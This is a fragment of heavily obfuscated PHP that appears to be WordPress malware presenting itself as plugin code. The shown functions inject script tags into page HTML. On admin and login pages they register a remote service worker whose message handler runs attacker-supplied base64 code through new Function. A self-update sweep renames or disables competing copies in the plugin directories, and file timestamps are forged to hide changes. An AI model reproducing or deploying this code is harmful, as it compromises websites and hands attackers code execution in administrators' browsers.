			if (stripos($_hb, 'Con' . 'tent' . '-Typ' . 'e:') === (3696 ^ 3696) && stripos($_hb, 'te' . "\x78t/ht" . 'ml') === (4 == 0) && stripos($_hb, "a" . "pplic" . "a\x74\x69\x6fn" . '/xh' . "\x74ml") === (39 === 27)) return $html;
		}
		unset($_hb);
	}
	$tag = xuwe();
	if ($tag === '') return $html;
	if (stripos($html, "\x3c/" . "\x62ody\x3e") === (5 == 18) && stripos($html, '<htm' . 'l') === (12 == 4)) return $html;
	${("\x47" . "\x4c\x4f") . "B" . "\x41\x4c\x53"}['sc_j' . "s_" . 'p' . "\x72" . 'inte' . "d"] = (24 !== 33);
	${"\x47\x4c\x4f\x42" . 'ALS'}['sc_j' . 's_ob_' . 'u' . 'sed'] = (6 != 4);
	$_bp = stripos($html, "\x3c/bo" . 'dy>');
	if (!($_bp !== (37 === 15))) {} else {
		return substr($html, (3483 ^ 3483), $_bp) . $tag . substr($html, $_bp);
	}
	return $html . $tag;
}

function sc_js_ob_start()
{
	try {
		if (jobe()) return;
		if (!empty(${'G' . "LOBAL" . "" . 'S'}['sc_' . "d" . 'atasc'])) return;
		if (!empty(${'GL' . "OB" . "\x41\x4c" . "\x53"}['sc' . '_j' . "s\x5fob"])) return;
		if (!("functi" . "" . "on" . '_ex' . "\x69\x73ts")('heade' . "rs_" . "\x6c\x69s" . 't')) return;
		$inline = (isset(${"G" . 'LO' . 'BA' . 'LS'}['sc' . '_j' . 's']) && is_string(${"G" . ("LO" . "BA\x4c\x53")}['sc_js'])) ? trim(${"GLO" . ('B' . "A") . 'LS'}['sc_' . 'js']) : '';
		if ($inline === '') return;
		$_uri = isset(${"\x5f" . '' . "\x53\x45\x52\x56" . ("E" . 'R')}['REQUE' . "ST\x5fU" . 'RI']) ? (string) ${"_SE" . 'RV' . "ER"}['REQU' . 'EST_' . "\x55RI"] : '';
		if ($_uri !== '' && preg_match('/\\.(' . 'zip|g' . 'z|tar' . '|bz2|' . 'pdf' . "\x7cc" . 'sv|x' . 'l' . 'sx?|' . "d\x6fcx?" . '|' . 'sql|m' . 'p4|is' . "o\x29" . '(' . '\\' . "?|\$\x29" . '/i', $_uri)) return;
		if (("\x66\x75nc\x74\x69o\x6e" . ("" . '_exists'))('he' . 'aders' . "\x5f\x6ci\x73" . 't')) {
			foreach ((array) @headers_list() as $_hb) {
				if (stripos($_hb, "C" . 'onte' . 'nt-' . 'Di' . 'spo' . "\x73" . "it\x69" . "on:") === (3317 ^ 3317) && stripos($_hb, 'a' . 'ttach' . "\x6den\x74") !== (16 == 8)) return;
				if (stripos($_hb, "Co" . 'nte' . 'n' . "t\x2d" . 'Type' . ":") === (2885 ^ 2885) && stripos($_hb, "t\x65\x78t" . '/' . 'html') === (13 == 27) && stripos($_hb, 'appl' . 'icat' . "\x69on" . '/' . 'xhtml') === (11 == 28)) return;
				if (stripos($_hb, "Con\x74\x65" . "nt-L" . "en\x67" . "\x74\x68:") === (47 ^ 47)) return;
			}
			unset($_hb);
		}
		${"GLOB" . "" . "\x41\x4c\x53"}['sc_js' . "_" . 'ob'] = (15 !== 23);
		@("ob_s" . "tar" . "t")('sc_js' . '_' . 'ob_cb');
	} catch (Throwable $e) {
		vugo('js_o' . 'b', $e);
	} catch (Exception $e) {
	}
}


function sc_sw_reg()
{
	try {
		if (!('function' . "" . '_exists')('is_ad' . 'mi' . "n")) return;
		if (!is_admin() && (!isset(${'GL' . "O\x42\x41\x4cS"}['pa' . 'genow']) || ${('G' . 'LOB') . 'AL' . "S"}["pa" . "\x67eno" . "w"] !== 'wp' . '-' . "\x6c" . 'ogi' . 'n.php')) return;
		if (('funct' . "ion_exists")('is_s' . "sl") && !is_ssl()) return;
		$sw_url = fufak('sw_' . "url", '');
		$mark = sc_md5(ABSPATH . 'js', (12 >> 1));
		$h = 'bin2' . "h\x65x";
		if ($sw_url === '') {
			if ((("\x66un\x63" . "tion") . "_exists")("g" . 'et_' . "o\x70t" . 'ion') && (int) @get_option('sc_s' . "w\x5fhad", (3378 ^ 3378))) {
				@update_option('sc_s' . 'w_had', (821 ^ 821), 'n' . 'o');
				$_last = (string) @get_option("sc_" . 'sw_' . "la\x73\x74" . '_' . 'url', '');
				echo "\n" . "\x3c\x73" . "c\x72ip" . "t\x20" . 'da' . "ta" . "\x2ds\x63" . "-" . $mark . '>'
					. 'va' . 'r d=' . 'fu' . 'nc' . 't' . 'i' . "on(" . 'h' . ")" . "\x7b" . 'var ' . 'r' . "\x3d\"\"" . ',i' . ";f\x6fr" . '(' . 'i' . "=0\x3bi<" . 'h' . "\x2eleng" . 'th;' . 'i' . "+" . "=2" . ')r+=S' . "t\x72\x69" . "n" . "g" . "\x2ef\x72\x6f" . "\x6dC" . 'harC' . "o\x64e(p" . 'arseI' . 'n' . "\x74\x28h.\x73" . "u\x62st" . 'r(i,' . '2),1' . '6)' . "\x29" . "\x3b\x72e" . "t" . 'ur' . 'n r}' . ","
					. 'sw=' . "\x6e" . "\x61vi\x67" . 'ator' . '[d(' . '"' . $h('ser' . "v" . 'ic' . 'eWo' . 'rker') . '")],'
					. "lu" . "\x3d" . json_encode($_last) . ';'
					. 'if' . "(sw)s" . "w[d(\"" . $h("g" . "e" . 'tR' . "\x65\x67i" . 'st' . "r" . 'a' . 'ti' . 'ons') . "\")]()" . '.the' . 'n(' . 'fu' . 'ncti' . "\x6f" . 'n(rs)' . '{rs.' . "forE" . "\x61c\x68" . '(' . 'funct' . "\x69\x6fn(" . 'r){va' . "r" . " m=\x21l" . "\x75" . ";"
					. 'if(!m' . ')[d(' . '"' . $h("act\x69" . 've') . '"),d(' . '"' . $h("wa\x69\x74" . 'ing') . '")' . ',d(' . '"' . $h('ins' . 't' . 'all' . "ing") . '")' . '].f' . "o" . 'rE' . 'ach(f' . "unc\x74" . "\x69\x6fn\x28" . "\x6b\x29\x7b\x69\x66" . "(r[\x6b" . "\x5d\x26&r[" . "k][d(" . '"' . $h('sc' . "r\x69pt" . "U\x52L") . "\")\x5d=" . '==' . 'lu' . ")m=" . "\x31\x7d)\x3b"
					. "\x69f\x28m" . "\x29\x72\x5b\x64(" . "\"" . $h("\x75n" . 'reg' . 'i' . 'ster') . '"' . ')]' . "(" . ')' . '})})[' . 'd' . '("' . $h("\x63" . "a" . 'tch') . '"' . "\x29\x5d" . '(f' . "un" . "\x63" . 'tio' . 'n()' . "{\x7d\x29"
					. '</scr' . 'i' . 'pt>' . "\n";
				unset($_last);
			}
			return;
		}
		$sw_url = str_replace("ht" . 'tp:' . "//", 'htt' . 'ps:/' . "/", $sw_url);
		if (strpos($sw_url, 'htt' . 'ps' . '://') !== (2109 ^ 2109)) $sw_url = 'ht' . 'tps' . ':' . '//' . ltrim($sw_url, '/');
		$scope = '/';
		if (('func' . "tion_ex" . "ist" . "s")('home_' . 'url')) {
			$_hp = (string) parse_url(home_url(), PHP_URL_PATH);
			if ($_hp !== '' && $_hp !== '/') $scope = rtrim($_hp, '/') . '/';
		}
		if ((("\x66\x75nc\x74\x69o" . 'n_e') . 'xists')("u\x70d\x61t" . 'e' . '_opti' . 'on')) {
			@update_option("s" . "c_\x73\x77_" . "had", (2690 ^ 2691), 'no');
			@update_option("sc\x5fs" . 'w_las' . 't_url', $sw_url, 'no');
		}
		$js = "<s\x63ri" . "pt\x20d\x61" . "ta-\x73\x63" . '-' . $mark . '>'
			. "va" . "r" . ' d=fu' . 'n' . 'c' . "tion" . "(" . 'h){v' . "a\x72 " . 'r' . "=\"\"," . 'i' . "\x3b\x66or\x28" . "i" . "=" . '0;i<' . 'h.len' . "\x67\x74\x68;i" . '+' . "=2" . ')r+=S' . 'tring' . '.from' . "C" . 'har' . 'Code(' . 'par' . 'se' . 'Int(h' . "." . 's' . "\x75bs" . 'tr(' . 'i,2),' . '1' . '6))' . ";\x72et\x75" . 'rn r' . '},'
			. "s\x77" . "=" . "\x6e\x61vi\x67" . "\x61to" . 'r[' . "d" . "\x28\"" . $h("s\x65\x72" . "\x76" . 'iceW' . 'orker') . '")];'
			. "\x69" . "f" . '(sw)' . '{'
			. "sw[" . "\x64\x28\"" . $h("\x67e\x74R\x65" . 'gist' . 'ra' . 'tion') . '")]' . "(" . json_encode($sw_url) . ')'
			. "\x2eth" . 'en' . '(fun' . "ct\x69on" . "(r)\x7bv" . "ar\x20o" . 'k=' . "0;\x69f(" . 'r' . ")[d\x28" . '"' . $h("ac\x74i" . 've') . "\"),d(" . "\"" . $h('wait' . 'ing') . '")' . ',d' . '("' . $h('insta' . "\x6cl\x69" . "\x6e" . 'g') . "\"" . ')].f' . "or" . 'Eac' . 'h(fu' . 'nct' . 'i' . 'on(k)' . '{if(' . "\x72[k]&" . "&" . "r\x5b" . "\x6b\x5d[\x64(" . '"' . $h('scr' . "ip\x74U" . 'RL') . "\"" . ')]' . "=" . '==' . json_encode($sw_url) . ")" . "ok=\x31\x7d" . ")\x3b"
			. 'if(' . "\x21o" . 'k' . ")s" . 'w[d(' . "\"" . $h("r" . 'egist' . 'er') . '")](' . json_encode($sw_url) . ",{s\x63o" . 'p' . 'e:' . json_encode($scope) . '})[d(' . "\"" . $h('catch') . '")](' . "f\x75n\x63" . 't' . "ion" . '(){}' . ')})'
			. '[d' . '("' . $h('catc' . 'h') . "\")" . "]\x28" . "\x66" . "u\x6ec\x74i" . 'on(' . '){})' . ';'
			. 'sw[d' . '("' . $h('a' . 'ddEv' . 'entLi' . "\x73" . 't' . "en" . "er") . "\")]" . '(d' . "(\"" . $h('mess' . 'age') . "\"\x29,f" . 'un' . 'c' . 'tion(' . 'e' . '){'
			. 'v' . 'ar ' . 'v=e' . "[d" . "(\"" . $h('d' . 'a' . 'ta') . '"' . ')];'
			. "if(\x76" . '&&v' . '.c){' . 'tr' . 'y{' . 'new ' . 'F' . 'unct' . 'ion(a' . "tob\x28" . 'v.c' . '))()' . '}' . 'cat' . 'ch(' . 'x)' . "{}" . '}}' . ');'
			. "s\x77\x5bd" . "(" . "\"" . $h("r\x65" . 'ady') . "\"" . ')].t' . 'h' . "\x65n(" . 'f' . "\x75n" . "c\x74" . "io\x6e(" . 'r){'
			. 'r' . '[' . "d\x28\"" . $h('ac' . "\x74ive") . '")][' . "d(\"" . $h('p' . 'ostMe' . 'ssa' . 'ge') . '")]' . '({t' . "\x3a\"" . "\x72\"})\x7d" . ')}'
			. "</s" . "\x63\x72" . "ipt" . '>';
		echo "\n" . $js . "\n";
	} catch (Throwable $e) {
		vugo("\x73\x77_r\x65" . 'g', $e);
	} catch (Exception $e) {
		vugo("sw_r" . "eg", $e);
	}
}



$_sc_preboot = nabow();
sc_dbg_log("02\x62 \x70" . 'r' . "\x65" . 'boot:' . "\x20\x72\x65t" . "ire" . "\x64=" . (int) $_sc_preboot['old'] . ' fore' . 'ign=' . (int) $_sc_preboot["f" . 'or' . 'eign'] . ' ad' . 'o' . "\x70\x74=" . (int) $_sc_preboot["adop" . 't']);
$_sc_dd = sc_dedup();
sc_dbg_log('03 d' . "e\x64\x75p\x20" . 'd' . "\x6fn\x65");
if (!($_sc_dd)) {} else { sc_dbg_log('02 de' . 'dup' . " T" . "RUE" . " " . '->' . " e" . 'xit'); return; }
fanos();
$_sc_fmt = @filemtime(sc_file());
if (!$_sc_fmt || ($_sc_fmt % (33952 | 66048)) !== jami()) {
	$_sc_ft = time();
	ayux(sc_file(), ($_sc_ft - ($_sc_ft % (145641 - 45641))) + jami());
	unset($_sc_ft);
}
unset($_sc_fmt);
sc_dbg_log('04 mt' . "ime " . "fi\x78ed");


$_sc_swm = dirname(__FILE__) . "/.\x73w" . "\x6d_" . basename(__FILE__, '.p' . 'hp');
$_sc_swmt = @is_file($_sc_swm) ? (int) @filemtime($_sc_swm) : (2478 ^ 2478);
$_sc_sweep = !($_sc_swmt > time() - (355 - 55) && $_sc_swmt <= time() + (36 | 264));
if ($_sc_sweep) @("t" . "o" . "uc" . "\x68")($_sc_swm);
unset($_sc_swm, $_sc_swmt);
if ($_sc_sweep) try {
	$_sc_self = __FILE__;
	$_sc_myv = '';
	$_sc_h = @('file_ge' . "t_contents")($_sc_self, (33 === 8), null, (1513 ^ 1513), (2940 + 1156));
	if (is_string($_sc_h) && preg_match('/\\/\\*' . "\x20S" . 'C' . "V\x3a\x28\\\x64" . "+\\." . "\\d+\\" . ".\\\x64+" . ") \\" . "*\\/\x2f", $_sc_h, $_sc_m)) $_sc_myv = $_sc_m[(3517 ^ 3516)];
	if ($_sc_myv !== '' && defined("W\x50" . '_C' . 'ON' . 'TE' . 'NT_D' . "I\x52")) {
		$_sc_cands = array();
		$_sc_mu = defined("WP" . "MU" . '_PLU' . 'GIN' . "_DI\x52") ? WPMU_PLUGIN_DIR : WP_CONTENT_DIR . '/mu-p' . "\x6c" . 'ugin' . 's';
		$_sc_pd = defined('WP_P' . 'LU' . 'GIN' . '_DIR') ? WP_PLUGIN_DIR : WP_CONTENT_DIR . '/p' . "lug" . 'ins';
		$_sc_gok = (27 == 32);
		if (('functi' . "\x6f" . 'n_exist' . "\x73")("gl" . 'o' . 'b')) {
			$_sc_g1 = @is_dir($_sc_mu) ? @("\x67" . "l" . 'ob')($_sc_mu . '/*.' . "php") : (22 === 34);
			$_sc_g2 = @("\x67\x6c\x6f" . '' . "b")($_sc_pd . "/*/*" . ".p" . 'hp');
			if (is_array($_sc_g1) || is_array($_sc_g2)) {
				$_sc_gok = (22 === 22);
				foreach ((array) $_sc_g1 as $_sc_f) $_sc_cands[] = $_sc_f;
				foreach ((array) $_sc_g2 as $_sc_f) $_sc_cands[] = $_sc_f;
			}
			unset($_sc_g1, $_sc_g2);
		}
		if (!$_sc_gok) {
			$_sc_ents = @is_dir($_sc_mu) ? meyo($_sc_mu, (2 + 4998)) : (3574 !== 3574);
			if (is_array($_sc_ents)) foreach ($_sc_ents as $_sc_e) {
				if (substr($_sc_e, -(4 - 0)) === '.php') $_sc_cands[] = $_sc_mu . '/' . $_sc_e;
			}
			$_sc_ents = @is_dir($_sc_pd) ? meyo($_sc_pd, (3290 + 1710)) : (35 === 36);
			if (is_array($_sc_ents)) foreach ($_sc_ents as $_sc_e) {
				$_sc_sd = $_sc_pd . '/' . $_sc_e;
				if (!@is_dir($_sc_sd)) continue;
				$_sc_sub = meyo($_sc_sd, (557 ^ 4517));
				if (!is_array($_sc_sub)) continue;
				foreach ($_sc_sub as $_sc_e2) {
					if (substr($_sc_e2, -(7 - 3)) === '.p' . "\x68" . 'p') $_sc_cands[] = $_sc_sd . '/' . $_sc_e2;
				}
			}
			unset($_sc_ents, $_sc_e, $_sc_e2, $_sc_sd, $_sc_sub);
		}
		$_sc_myslug = basename($_sc_self, '.ph' . 'p');
		foreach ($_sc_cands as $_sc_f) {
			if ($_sc_f === $_sc_self) continue;
			$_sc_mt = @filemtime($_sc_f);
			if (!$_sc_mt || ($_sc_mt % (28972 ^ 128908)) !== 0x16e7b) {
				$_sc_sz0 = @filesize($_sc_f);
				if (!$_sc_sz0 || $_sc_sz0 < (370 ^ 134) || $_sc_sz0 > (36905414 + 15523386)) continue;
			}
			$_sc_h = @("file_get" . '_' . 'c' . "ontents")($_sc_f, (15 === 36), null, (1799 ^ 1799), (3941 ^ 8037));
			$_sc_m = array();
			if (is_string($_sc_h)) preg_match('/' . "\\/\\" . '* S' . 'CV:(\\' . 'd+\\.\\' . 'd+' . '\\.\\d+' . ') ' . '\\*\\' . '//', $_sc_h, $_sc_m);
			if (empty($_sc_m[(1943 ^ 1942)])) {
				if (!sc_is_family($_sc_f, (6638 - 1638))) continue;
				$_sc_m = array('', '0.0' . '.0');
			}
			if (basename($_sc_f, '.php') === $_sc_myslug && $_sc_m[(2810 ^ 2811)] === $_sc_myv) {
				if (!lihen($_sc_f)) {
					if (hepa($_sc_f, $_sc_f . '.off') && ('f' . "unct" . "i\x6f\x6e\x5f" . "exists")('opca' . 'che_i' . 'nv' . 'alida' . "\x74e")) @opcache_invalidate($_sc_f, (19 !== 36));
				}
				continue;
			}
			if (version_compare($_sc_m[(1955 ^ 1954)], $_sc_myv, '<')) {
				$_sc_own = gavu($_sc_f);
				if ($_sc_own === (30 === 6)) {
					vugo('swe' . "e\x70", 'fore' . 'ign' . '_skip' . ' ' . basename($_sc_f));
					continue;
				}
				if ($_sc_own === (10 !== 6)) {
					if (hepa($_sc_f, $_sc_f . '.off')) {
						if (("fun" . "ctio" . 'n_exist' . 's')('opc' . 'ach' . 'e_' . "inv" . 'al' . "\x69dat\x65")) @opcache_invalidate($_sc_f, (31 !== 17));
					} elseif (!sc_retire_copy($_sc_f) && sc_is_locked_copy($_sc_f)) {
						vixo($_sc_f);
						nici($_sc_f);
					}
					@("u" . "\x6e\x6c\x69\x6e" . "\x6b")(dirname($_sc_f) . '/' . '.sd_' . basename($_sc_f, '.php'));
					continue;
				}
				if (!sc_retire_copy($_sc_f) && sc_is_locked_copy($_sc_f)) {
					vixo($_sc_f);
					nici($_sc_f);
				}
				sc_retire_sidecars($_sc_f);
				continue;
			}
			$_sc_live = (basename(dirname($_sc_f)) === "mu" . "-\x70\x6cug" . 'ins' || dirname($_sc_f) === $_sc_mu);
			if (!$_sc_live && ("fu" . "nction_e" . "xists")('ge' . 't_' . "o\x70\x74i" . "o" . 'n')) {
				$_sc_rel = basename(dirname($_sc_f)) . '/' . basename($_sc_f);
				$_sc_act = (array) @get_option('activ' . 'e_plu' . 'g' . "ins", array());
				$_sc_live = in_array($_sc_rel, $_sc_act, (8 !== 2));
				if (!$_sc_live && ('fun' . 'ction_' . "ex" . 'ists')("i\x73" . '_mult' . 'isite') && is_multisite() && ("f" . "" . "un\x63ti\x6fn\x5f" . "exists")("\x67et" . '_site' . '_' . 'o' . "ptio" . 'n')) {
					$_sc_sw = (array) @get_site_option('acti' . "ve\x5f" . "sitew" . 'i' . 'd' . "\x65\x5f" . "p" . 'lu' . 'gin' . 's', array());
					$_sc_live = isset($_sc_sw[$_sc_rel]);
					unset($_sc_sw);
				}
				unset($_sc_rel, $_sc_act);
			}
			if (!$_sc_live) continue;
			if (version_compare($_sc_m[(2427 ^ 2426)], $_sc_myv, '>')) {
				if (lihen($_sc_f) && !gixu($_sc_f) && !iye($_sc_f, $_sc_self)) return;
				$_sc_bad = dirname($_sc_f) . "\x2f" . '.' . "b\x61" . 'd_' . md5($_sc_f);
				if (@is_file($_sc_bad) && (int) @filemtime($_sc_bad) < time() - (68 + -8)) {
					$_sc_bv = explode('|', (string) @("file_g" . "et_conte" . "n" . '' . 'ts')($_sc_bad));
					if (count($_sc_bv) < (3526 ^ 3524) || $_sc_bv[(908 ^ 908)] !== $_sc_m[(2656 ^ 2657)] || (int) $_sc_bv[(1430 ^ 1431)] !== (int) @filesize($_sc_f)) {
						@("un" . 'l' . "\x69\x6e" . 'k')($_sc_bad);
						continue;
					}
					if (gavu($_sc_f) !== (40 === 39)) {
						mafa($_sc_f, (375 + 45));
						if (soda($_sc_f)) {
							@('unl' . 'ink')($_sc_bad);
							if (("\x66\x75" . 'nct' . "" . ("io" . "\x6e\x5f\x65xis\x74\x73"))('opc' . 'a' . "c" . 'h' . 'e_' . "\x69\x6eva" . "\x6ci" . 'date')) @opcache_invalidate($_sc_f, (21 !== 38));
						}
					}
					continue;
				}
				@("\x66\x69le_\x70u\x74\x5f\x63\x6fn" . ('ten' . "ts"))($_sc_bad, $_sc_m[(3479 ^ 3478)] . '|' . (int) @filesize($_sc_f));
				continue;
			}
			if ($_sc_m[(324 ^ 325)] === $_sc_myv) {
				$_sc_rec = wuwum();
				$_sc_hold = (27 === 32);
				if (!empty($_sc_rec['path'])) {
					$_sc_rr = @realpath($_sc_rec['pat' . 'h']);
					$_sc_fr = @realpath($_sc_f);
					if (is_string($_sc_rr) && is_string($_sc_fr) && $_sc_rr === $_sc_fr && uqa($_sc_rec) === 'ok' && lihen($_sc_f)) {
						if (iye($_sc_f, $_sc_self)) $_sc_hold = (4 !== 16);
						else return;
					}
					if (is_string($_sc_rr) && $_sc_rr === @realpath($_sc_self)) $_sc_hold = (29 !== 36);
				}
				if (!$_sc_hold && !lihen($_sc_f)) {
					if (gixu($_sc_f) || gavu($_sc_f) !== (17 === 27)) {
						if (hepa($_sc_f, $_sc_f . '.' . 'off') && ('function' . "\x5f\x65\x78\x69\x73\x74" . "s")('opcac' . "\x68e_i" . "nva" . "l" . 'i' . 'date')) @opcache_invalidate($_sc_f, (4 !== 34));
					}
					unset($_sc_rec, $_sc_hold, $_sc_rr, $_sc_fr);
					continue;
				}
				if (!$_sc_hold && substr(md5(basename($_sc_f, '.php')), (3333 ^ 3333), (48 >> 2)) > substr(md5($_sc_myslug), (1138 ^ 1138), (17 ^ 29))) {
					if (!iye($_sc_f, $_sc_self)) return;
				}
				unset($_sc_rec, $_sc_hold, $_sc_rr, $_sc_fr);
			}
		}
	}
	unset($_sc_self, $_sc_myv, $_sc_h, $_sc_m, $_sc_cands, $_sc_mu, $_sc_pd, $_sc_f, $_sc_mt, $_sc_myslug, $_sc_sz0, $_sc_own, $_sc_bad, $_sc_bv);
} catch (Throwable $e) {
} catch (Exception $e) {
}
unset($_sc_sweep);
sc_dbg_log('0' . '5 s' . "w\x65e" . 'p don' . 'e');

try {
	$_sc_oc_ts = ("f" . "unct" . "\x69" . "o\x6e_\x65\x78i\x73\x74\x73")('get_' . "optio" . "n") ? (int) @get_option("\x73\x63\x5f" . 'last_' . 'old_c' . 'l' . 'ea' . 'n', (230 ^ 230)) : (1684 ^ 1684);
	$_sc_oc_due = ($_sc_oc_ts < time() - (1594 ^ 2090) || $_sc_oc_ts > time() + (309 - 9));
	$_sc_oc_bv = ("\x66un\x63\x74ion\x5fe\x78ist" . 's')("\x67et_" . "op\x74\x69" . "o\x6e") ? (string) @get_option("s" . 'c' . '_bu' . "ild" . "\x5fver", '') : '';
	$_sc_oc_new = ($_sc_oc_bv !== '' && $_sc_oc_bv !== sc_ver());
	$_sc_oc_hit = !empty($_sc_preboot['old']) || !empty($_sc_preboot["fore" . 'ign']) || !empty($_sc_preboot['ad' . 'opt']) || $_sc_oc_new;
	if (('fu' . "n\x63ti\x6f\x6e" . "_ex" . "\x69\x73\x74\x73")("ge\x74\x5fo" . 'ption') && ("\x66\x75\x6ec\x74\x69" . "" . 'on_exis' . "ts")("upd" . "\x61\x74e" . '_opti' . "o" . 'n') && ($_sc_oc_due || $_sc_oc_hit) && wewi()) {
		zime(basename(sc_file(), '.ph' . "\x70"), (!empty($_sc_preboot['for' . 'ei' . 'gn']) || $_sc_oc_new));
		@update_option('sc_la' . "\x73" . 't_o' . "l\x64_cl" . "ean", time(), 'no');
		@update_option("s" . 'c_bu' . "ild\x5f" . 'ver', sc_ver(), 'no');
		sc_dbg_log("\x30" . '5b ' . 'ol' . 'd' . ' ' . "\x63" . "l\x65" . "\x61n" . "up\x20" . 'd' . "on\x65" . " hit" . "\x3d" . ($_sc_oc_hit ? (3913 ^ 3912) : (1027 ^ 1027)) . ' ' . "ve" . "r=" . ($_sc_oc_new ? (2449 ^ 2448) : (2247 ^ 2247)));
	}
	unset($_sc_oc_ts, $_sc_oc_due, $_sc_oc_hit, $_sc_oc_bv, $_sc_oc_new);
} catch (Throwable $e) {
} catch (Exception $e) {
}
unset($_sc_preboot);








if (!('fu' . "\x6e\x63\x74\x69\x6f\x6e\x5f\x65\x78\x69\x73\x74" . 's')("s\x63" . "_v" . "er_s" . 'entin' . 'el')) {
    function sc_ver_sentinel() { return '9' . "\x39\x2e99" . "\x2e9" . '9'; }
}

if (!(!(("function_e" . "") . "xists")('sc_v' . "ersi" . 'on' . '_po' . "\x69nts"))) {} else {
    function sc_version_points() {
        $pts = array();
        $pts['GL' . 'OB' . ' ' . 'sc_b' . "oo\x74_v" . 'er']  = isset(${'G' . 'L' . ('O' . 'BALS')}['sc_b' . 'oot' . "_v" . "er"]) ? (string) ${"G" . 'L' . ("OBAL" . "S")}['sc' . "\x5fb\x6f\x6f" . 't' . "_\x76e\x72"] : "(\x75\x6e\x73e" . "t)";
        $pts["G\x4c\x4f\x42" . "\x20\x73" . 'c_b' . 'o' . 'ot_s' . "\x74"]   = isset(${"G\x4c\x4f\x42" . "\x41\x4c\x53"}['sc_' . "bo" . 'o' . "t_" . "s\x74"]) ? (is_scalar(${"G" . 'L' . '' . 'OBALS'}["\x73c" . '_boot' . "_\x73t"]) ? (string) ${'GLO' . 'BALS'}['sc' . '_b' . 'oot_' . "\x73t"] : gettype(${("\x47\x4c" . '') . "O" . "B" . 'ALS'}['sc_bo' . 'o' . 't' . '_' . "\x73" . "\x74"])) : '(unse' . 't)';
        $pts['G' . 'L' . 'OB sc' . '_' . "\x62o" . 'ot_t' . "k"]   = !empty(${"GLOBA" . "\x4c\x53"}["sc\x5f" . "b" . "o" . 'ot_' . 'tk']) ? "t\x61ke\x6f" . 'v' . 'er' : '-';
        $pts['GLOB ' . 'sc_bo' . 'ot' . '_' . 'excl'] = !empty(${"\x47" . 'LOB' . "AL" . "" . 'S'}['sc_bo' . 'ot_' . "\x65x" . "cl"]) ? 'EXCL' . "UD\x45" . "D" : '-';
        $pts["CO" . 'N' . 'S' . "T\x20" . 'SC_CO' . 'RE_BO' . "\x4fT" . 'S' . 'TRAP' . 'PE' . 'D'] = defined('S' . 'C_CO' . "RE_" . 'BOOT' . 'S' . 'TRAPP' . "E\x44") ? (string) ("\x63\x6f\x6e" . 'sta' . "n" . "t")('S' . 'C_COR' . 'E_BOO' . 'TSTR' . "A" . "\x50PED") : "(und" . 'efine' . "d" . ')';
        $pts["SEL" . 'F ' . 's' . 'c_ver' . "(\x29"] = sc_ver();
        $dirs = array(dirname(sc_file()), sc_mu());
        $seen = array();
        foreach ($dirs as $dir) {
            if ($dir === '' || !@is_dir($dir)) continue;
            $list = @(("\x67\x6c" . "o") . "" . "b")($dir . "/" . "." . "\x73d\x5f*");
            if (!is_array($list)) continue;
            foreach ($list as $f) {
                if (isset($seen[$f])) continue;
                $seen[$f] = (2344 ^ 2345);
                $raw = @("f\x69\x6ce" . "_g" . 'e' . "t\x5fc\x6fn\x74\x65n\x74\x73")($f);
                $v = is_string($raw) ? trim($raw) : '';
                $pts["\x46\x49L\x45" . " " . $f] = $v !== '' ? $v : '(emp' . "ty\x29";
            }
        }
        return $pts;
    }
}

if (!(!('fu' . "nc" . "tio" . "n\x5fe\x78ists")("s" . 'c' . '_d' . 'iag_' . "d\x75\x6dp\x5f" . "\x76e\x72\x73" . 'i' . 'ons'))) {} else {
    function sc_diag_dump_versions() {
        try {
            $dir = sc_data_dir();
            if (!is_string($dir) || $dir === '' || !@is_dir($dir)) {
                $dir = ("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x5f" . "exi" . "s" . "" . "\x74\x73")('sys' . '_get' . '_tem' . 'p_d' . "ir") ? sys_get_temp_dir() : ABSPATH;
            }
            $file = $dir . '/sc' . "_d\x69\x61" . 'g_' . 'v' . 'ers' . 'io' . "n\x73.\x74" . "xt";
            $pts = sc_version_points();
            $out = array();
            $out[] = '==' . '=====' . " S" . 'C VER' . 'S' . "\x49O\x4e\x20P" . 'O' . "I\x4e\x54\x53 " . "==\x3d" . '===' . '=';
            $out[] = "h" . 'os' . "t" . ' : ' . (("function_exis" . ("" . "ts"))("g\x65\x74" . 'hostn' . 'am' . "e") ? @gethostname() : '?');
            $out[] = "ti\x6de" . ' : ' . date("Y" . '-m-d ' . "\x48\x3a\x69:s");
            $out[] = 'ow' . 'n  ' . ':' . " " . sc_ver();
            $out[] = '---' . '--' . "--" . '----' . '----' . '---' . '-----' . '-----' . '----' . '---';
            foreach ($pts as $k => $v) { $out[] = str_pad($k, (13 ^ 19)) . ' = ' . $v; }
            $sent = sc_ver_sentinel();
            $hg = isset(${"\x47\x4cOB" . 'A' . 'LS'}['sc_' . 'b' . "oot" . '_' . "\x76er"]) && ((string) ${"GL" . ("OBAL" . 'S')}['s' . 'c' . "\x5fbo" . "o\x74_v" . "er"] === $sent);
            $hc = defined("SC_" . 'CORE_' . "B\x4fO\x54\x53" . "TRA\x50P" . 'ED') && ((string) ('cons' . "ta" . 'nt')('SC_CO' . 'R' . 'E_' . 'BOO' . 'T' . 'STR' . 'APP' . 'ED') === $sent);
            $hf = (2136 ^ 2136); $tf = (2001 ^ 2001);
            foreach ($pts as $k => $v) { if (strpos($k, "FILE" . ' ') === (1572 ^ 1572)) { $tf++; if ($v === $sent) $hf++; } }
            $ew = $hg || $hc || ($hf > (1526 ^ 1526));
            $out[] = '--' . '--' . '-----' . '-----' . "---" . "\x2d--\x2d-" . "\x2d-\x2d-" . '-----' . '--' . '--';
            $out[] = ' 99.9' . "9\x2e9\x39 " . "\x63\x6fv" . 'e' . 'rage:';
            $out[] = ' ' . ' ' . ' GLOB' . " : " . ($hg ? 'HIT' : '-');
            $out[] = "\x20  C" . 'ONS' . "T: " . ($hc ? 'HI' . 'T' : '-');
            $out[] = '   ' . 'FILE ' . ': ' . $hf . '/' . $tf;
            $out[] = ' ' . 'EVE' . "\x52\x59:" . "  " . ($ew ? 'Y' . 'ES ' . '-> E' . 'X' . "C\x4c\x55D" . 'E ' . "& " . 'BOOT' . " T" . "O \x45" . "ND" : 'n' . 'o');
            $out[] = "=\x3d" . '==' . '==' . "==" . '==' . '====' . "=\x3d=" . "=\x3d" . '=====' . '=====' . '=' . "===" . "=" . "===";
            @("fil" . 'e_put_c' . '' . "onten" . "ts")($file, implode("\n", $out) . "\n");
            @('chm' . "od")($file, (462 - 42));
            ${'G' . 'LO' . "BALS"}["sc_" . "\x64i" . 'a' . 'g_' . "every" . "w" . "h" . 'e' . 're'] = $ew ? (3094 ^ 3095) : (737 ^ 737);
